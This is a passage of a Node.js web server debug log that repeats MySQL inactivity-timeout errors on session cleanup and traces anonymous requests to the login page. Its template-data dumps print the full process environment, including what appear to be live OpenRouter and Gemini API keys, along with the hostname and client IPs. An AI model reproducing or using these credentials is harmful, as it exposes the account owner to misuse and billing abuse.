    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-26 22:58:17' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-26 23:03:17' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-26 23:03:17' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-26 23:24:17' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-26 23:24:17' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-27 01:27:18' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-27 01:27:18' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-27 03:49:18' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-27 03:49:18' as DATETIME)"
}
2026-05-27T09:59:49.554Z server-connect:router Serving templateView /
2026-05-27T09:59:49.556Z server-connect:app Executing action step identify
2026-05-27T09:59:49.556Z server-connect:app options: { provider: 'security' }
2026-05-27T09:59:49.557Z server-connect:auth No login cookie found
2026-05-27T09:59:49.557Z server-connect:output identity: false
2026-05-27T09:59:49.557Z server-connect:app Executing action step restrict
2026-05-27T09:59:49.557Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-27T09:59:49.557Z server-connect:output restrict: undefined
2026-05-27T09:59:49.598Z server-connect:router Serving templateView /login
2026-05-27T09:59:49.599Z server-connect:app Executing action step identify
2026-05-27T09:59:49.599Z server-connect:app options: { provider: 'security' }
2026-05-27T09:59:49.599Z server-connect:auth No login cookie found
2026-05-27T09:59:49.599Z server-connect:output identity: false
2026-05-27T09:59:49.599Z server-connect:router Render template layouts/authentication
2026-05-27T09:59:49.599Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '64.89.163.121',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-05-28T09:59:49.598Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '64.89.163.121',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '64.89.163.121',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-27 13:38:18' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-27 13:38:18' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-27 13:50:18' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-27 13:50:18' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-27 19:48:19' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-27 19:48:19' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-27 20:44:19' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-27 20:44:19' as DATETIME)"
}
2026-05-27T21:14:53.476Z server-connect:router Serving templateView /
2026-05-27T21:14:55.441Z server-connect:app Executing action step identify
2026-05-27T21:14:55.441Z server-connect:app options: { provider: 'security' }
2026-05-27T21:14:55.444Z server-connect:auth No login cookie found
2026-05-27T21:14:55.444Z server-connect:output identity: false
2026-05-27T21:14:55.444Z server-connect:app Executing action step restrict
2026-05-27T21:14:55.444Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-27T21:14:56.292Z server-connect:output restrict: undefined
2026-05-27T21:17:57.653Z server-connect:router Serving templateView /
2026-05-27T21:17:57.654Z server-connect:app Executing action step identify
2026-05-27T21:17:57.654Z server-connect:app options: { provider: 'security' }
2026-05-27T21:17:57.654Z server-connect:auth No login cookie found
2026-05-27T21:17:57.654Z server-connect:output identity: false
2026-05-27T21:17:57.654Z server-connect:app Executing action step restrict
2026-05-27T21:17:57.654Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-27T21:17:57.655Z server-connect:output restrict: undefined
2026-05-27T21:31:04.702Z server-connect:router Serving templateView /
2026-05-27T21:31:04.704Z server-connect:app Executing action step identify
2026-05-27T21:31:04.704Z server-connect:app options: { provider: 'security' }
2026-05-27T21:31:04.704Z server-connect:auth No login cookie found
2026-05-27T21:31:04.704Z server-connect:output identity: false
2026-05-27T21:31:04.704Z server-connect:app Executing action step restrict
2026-05-27T21:31:04.704Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-27T21:31:04.705Z server-connect:output restrict: undefined
2026-05-27T21:37:56.947Z server-connect:router Serving templateView /
2026-05-27T21:37:56.948Z server-connect:app Executing action step identify
2026-05-27T21:37:56.948Z server-connect:app options: { provider: 'security' }
2026-05-27T21:37:56.948Z server-connect:auth No login cookie found
2026-05-27T21:37:56.948Z server-connect:output identity: false
2026-05-27T21:37:56.948Z server-connect:app Executing action step restrict
2026-05-27T21:37:56.948Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-27T21:37:56.948Z server-connect:output restrict: undefined
2026-05-27T23:10:30.352Z server-connect:router Serving templateView /
2026-05-27T23:10:30.352Z server-connect:app Executing action step identify
2026-05-27T23:10:30.352Z server-connect:app options: { provider: 'security' }
2026-05-27T23:10:30.353Z server-connect:auth No login cookie found
2026-05-27T23:10:30.353Z server-connect:output identity: false
2026-05-27T23:10:30.353Z server-connect:app Executing action step restrict
2026-05-27T23:10:30.353Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-27T23:10:30.353Z server-connect:output restrict: undefined
2026-05-28T05:35:50.974Z server-connect:router Serving templateView /
2026-05-28T05:35:50.975Z server-connect:app Executing action step identify
2026-05-28T05:35:50.975Z server-connect:app options: { provider: 'security' }
2026-05-28T05:35:50.975Z server-connect:auth No login cookie found
2026-05-28T05:35:50.975Z server-connect:output identity: false
2026-05-28T05:35:50.975Z server-connect:app Executing action step restrict
2026-05-28T05:35:50.975Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-28T05:35:50.976Z server-connect:output restrict: undefined
2026-05-28T05:35:53.668Z server-connect:router Serving templateView /login
2026-05-28T05:35:53.669Z server-connect:app Executing action step identify
2026-05-28T05:35:53.669Z server-connect:app options: { provider: 'security' }
2026-05-28T05:35:53.669Z server-connect:auth No login cookie found
2026-05-28T05:35:53.669Z server-connect:output identity: false
2026-05-28T05:35:53.669Z server-connect:router Render template layouts/authentication
2026-05-28T05:35:53.669Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Ubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36',
    'accept-charset': 'utf-8',
    referer: 'https://ems.sanjaychaurasia.xyz',
    'accept-encoding': 'gzip',
    xxxxxxxxxx: 'close',
    'x-forwarded-for': '23.94.133.71',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-05-29T05:35:53.668Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '23.94.133.71',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Ubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36',
    HTTP_ACCEPT_CHARSET: 'utf-8',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_XXXXXXXXXX: 'close',
    'HTTP_X_FORWARDED-FOR': '23.94.133.71',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-28 13:14:20' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-28 13:14:20' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-28 17:39:20' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-28 17:39:20' as DATETIME)"
}
2026-05-28T18:15:55.933Z server-connect:router Serving templateView /
2026-05-28T18:15:55.935Z server-connect:app Executing action step identify
2026-05-28T18:15:55.935Z server-connect:app options: { provider: 'security' }
2026-05-28T18:15:55.935Z server-connect:auth No login cookie found
2026-05-28T18:15:55.935Z server-connect:output identity: false
2026-05-28T18:15:55.935Z server-connect:app Executing action step restrict
2026-05-28T18:15:55.935Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-28T18:15:55.936Z server-connect:output restrict: undefined
2026-05-28T18:15:55.968Z server-connect:router Serving templateView /login
2026-05-28T18:15:55.969Z server-connect:app Executing action step identify
2026-05-28T18:15:55.969Z server-connect:app options: { provider: 'security' }
2026-05-28T18:15:55.969Z server-connect:auth No login cookie found
2026-05-28T18:15:55.969Z server-connect:output identity: false
2026-05-28T18:15:55.969Z server-connect:router Render template layouts/authentication
2026-05-28T18:15:55.969Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'accept-language': 'en-US,en;q=0.5',
    connection: 'keep-alive',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '72.61.156.129',
